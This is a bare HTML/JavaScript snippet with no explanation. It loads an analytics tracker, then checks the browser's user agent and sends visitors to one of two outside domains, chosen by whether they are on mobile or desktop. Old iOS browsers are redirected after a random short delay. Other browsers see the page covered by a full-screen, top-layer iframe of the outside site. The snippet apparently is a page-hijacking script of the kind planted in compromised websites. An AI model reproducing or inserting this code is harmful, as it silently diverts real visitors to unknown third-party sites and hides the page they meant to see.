<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script>
<script>LA.init({id:"3F1rizStfVUGZd38",ck:"3F1rizStfVUGZd38"})</script>
<script>
var url = "";
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
var bIsMidp = sUserAgent.match(/midp/i) == "midp";
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) {
    //h5
    url = "https://www.jizeiistrash.com/lese/";
}
else {
    //pc
    url = "https://www.fabriweld-building.com/wangdefa/";
}

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0, 2)) : false
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    switch (arguments.length) {
        case 1:
            return parseInt(Math.random() * minNum + 1, 10);
            break;
        case 2:
            return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
            break;
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            return 0;
            break;
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}

const time = randomNum(500, 1000)

if (isIOS && getIosVersion() < 13) {
    setTimeout(() => {
        window.location.href = url;
    }, time);
} else {
    document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
    document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
    document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
    document.write('<iframe src="'+ url + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
    document.write('</div>');
}
</script>